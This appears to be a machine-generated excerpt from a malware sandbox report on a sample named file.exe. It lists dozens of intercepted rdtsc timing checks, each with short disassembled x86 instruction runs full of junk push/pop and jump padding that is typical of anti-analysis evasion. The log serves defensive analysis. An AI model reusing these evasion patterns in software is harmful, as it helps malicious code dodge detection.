Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FA01 second address: 81FA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F72A0D3A7F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8254FD second address: 825506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825506 second address: 82550C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82550C second address: 825510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825510 second address: 82551A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72A0D3A7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82551A second address: 825540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F72A05280F9h 0x0000000e jmp 00007F72A05280F3h 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825ACD second address: 825AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F72A0D3A7F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e jmp 00007F72A0D3A7FCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825AE9 second address: 825AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825AF1 second address: 825AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825F1A second address: 825F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AB55 second address: 82AB59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AB59 second address: 82AB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F72A05280EFh 0x0000000d jne 00007F72A05280FFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AB8F second address: 82AB96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7768AD second address: 7768B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7768B3 second address: 7768E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F72A0D3A805h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F72A0D3A7FAh 0x00000013 popad 0x00000014 pushad 0x00000015 jnp 00007F72A0D3A7F6h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831552 second address: 83156D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F1h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831AD9 second address: 831AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A7FDh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007F72A0D3A7FBh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831AF9 second address: 831B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A05280EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831FC7 second address: 831FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832249 second address: 83224F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83224F second address: 832254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832A46 second address: 832A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832A4B second address: 832A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832A53 second address: 832A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8486E6 second address: 8486F4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72A0D3A7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8486F4 second address: 8486F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8483D2 second address: 8483E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jl 00007F72A0D3A7F6h 0x0000000d popad 0x0000000e push eax 0x0000000f jnl 00007F72A0D3A7F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8483E9 second address: 848407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F72A05280F3h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86690A second address: 86690E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86690E second address: 866913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8653DE second address: 8653EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F72A0D3A7F6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8653EE second address: 8653F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8653F2 second address: 86541B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F72A0D3A801h 0x00000011 ja 00007F72A0D3A7FCh 0x00000017 js 00007F72A0D3A7F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86541B second address: 865423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865423 second address: 865427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865427 second address: 86542B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8655A0 second address: 8655BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A806h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8655BA second address: 8655DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F72A05280F2h 0x0000000c jo 00007F72A05280ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865C2D second address: 865C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7717AF second address: 7717B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7717B6 second address: 7717BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7717BB second address: 7717C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F72A05280E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889D6A second address: 889D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889D6E second address: 889D9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F72A05280EEh 0x0000000f jo 00007F72A05280E6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889EF1 second address: 889EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889EF5 second address: 889F05 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72A05280E6h 0x00000008 jns 00007F72A05280E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F05 second address: 889F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F0A second address: 889F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E857 second address: 89E86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F72A0D3A7FCh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E86F second address: 89E873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E873 second address: 89E892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F72A0D3A807h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E892 second address: 89E896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D769 second address: 89D792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F72A0D3A7F6h 0x0000000a jmp 00007F72A0D3A800h 0x0000000f popad 0x00000010 jmp 00007F72A0D3A7FEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89DD58 second address: 89DD5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E011 second address: 89E01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E2DA second address: 89E2DF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E2DF second address: 89E2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FE90 second address: 89FE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FE96 second address: 89FEA4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F72A0D3A7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FEA4 second address: 89FEAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FEAC second address: 89FEB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FEB1 second address: 89FEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A14C0 second address: 8A14C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3EF4 second address: 8A3EFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F72A05280E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03CA second address: 52B03DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A0D3A7FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03DC second address: 52B0423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F72A05280F7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov eax, 1E1B719Bh 0x00000016 movzx ecx, bx 0x00000019 popad 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F72A05280F6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0423 second address: 52B0435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A0D3A7FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E06AF second address: 52E06B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E06B3 second address: 52E06B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E06B9 second address: 52E06DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E06DB second address: 52E0728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 pushfd 0x00000007 jmp 00007F72A0D3A7FDh 0x0000000c or eax, 00727526h 0x00000012 jmp 00007F72A0D3A801h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F72A0D3A808h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0728 second address: 52E0737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0737 second address: 52E0762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 jmp 00007F72A0D3A7FBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F72A0D3A805h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0762 second address: 52E07F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 0BD2h 0x00000007 mov ebx, 273A131Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 call 00007F72A05280EEh 0x00000019 pop ebx 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F72A05280F6h 0x00000023 and esi, 6D620048h 0x00000029 jmp 00007F72A05280EBh 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 jmp 00007F72A05280F6h 0x00000036 push eax 0x00000037 jmp 00007F72A05280EBh 0x0000003c xchg eax, esi 0x0000003d jmp 00007F72A05280F6h 0x00000042 lea eax, dword ptr [ebp-04h] 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E07F5 second address: 52E07F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E07F9 second address: 52E0816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0816 second address: 52E081C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E081C second address: 52E0820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0820 second address: 52E085E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F72A0D3A804h 0x0000000e mov dword ptr [esp], eax 0x00000011 pushad 0x00000012 call 00007F72A0D3A7FEh 0x00000017 push ecx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, ebx 0x0000001c popad 0x0000001d push dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E085E second address: 52E0864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0913 second address: 52E0008 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F72A0D3A7FBh 0x0000000c or al, FFFFFF9Eh 0x0000000f jmp 00007F72A0D3A809h 0x00000014 popfd 0x00000015 popad 0x00000016 pop esi 0x00000017 pushad 0x00000018 push ecx 0x00000019 movsx edx, cx 0x0000001c pop eax 0x0000001d push edi 0x0000001e pushfd 0x0000001f jmp 00007F72A0D3A800h 0x00000024 add ah, FFFFFFC8h 0x00000027 jmp 00007F72A0D3A7FBh 0x0000002c popfd 0x0000002d pop eax 0x0000002e popad 0x0000002f leave 0x00000030 pushad 0x00000031 jmp 00007F72A0D3A805h 0x00000036 push esi 0x00000037 pushad 0x00000038 popad 0x00000039 pop edi 0x0000003a popad 0x0000003b retn 0004h 0x0000003e nop 0x0000003f sub esp, 04h 0x00000042 xor ebx, ebx 0x00000044 cmp eax, 00000000h 0x00000047 je 00007F72A0D3A943h 0x0000004d xor eax, eax 0x0000004f mov dword ptr [esp], 00000000h 0x00000056 mov dword ptr [esp+04h], 00000000h 0x0000005e call 00007F72A5A38D8Bh 0x00000063 mov edi, edi 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0008 second address: 52E000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E000E second address: 52E0057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F72A0D3A7FBh 0x00000009 sbb eax, 3F74306Eh 0x0000000f jmp 00007F72A0D3A809h 0x00000014 popfd 0x00000015 jmp 00007F72A0D3A800h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0057 second address: 52E005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E005B second address: 52E005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E005F second address: 52E0065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0065 second address: 52E006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E006B second address: 52E006F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E006F second address: 52E0073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0073 second address: 52E0096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F72A05280F8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0096 second address: 52E00D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F72A0D3A801h 0x00000009 or eax, 48103B66h 0x0000000f jmp 00007F72A0D3A801h 0x00000014 popfd 0x00000015 mov esi, 07BA6F97h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E00D2 second address: 52E00D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E00D6 second address: 52E00DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E00DA second address: 52E00E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E00E0 second address: 52E00E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E00E6 second address: 52E00EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
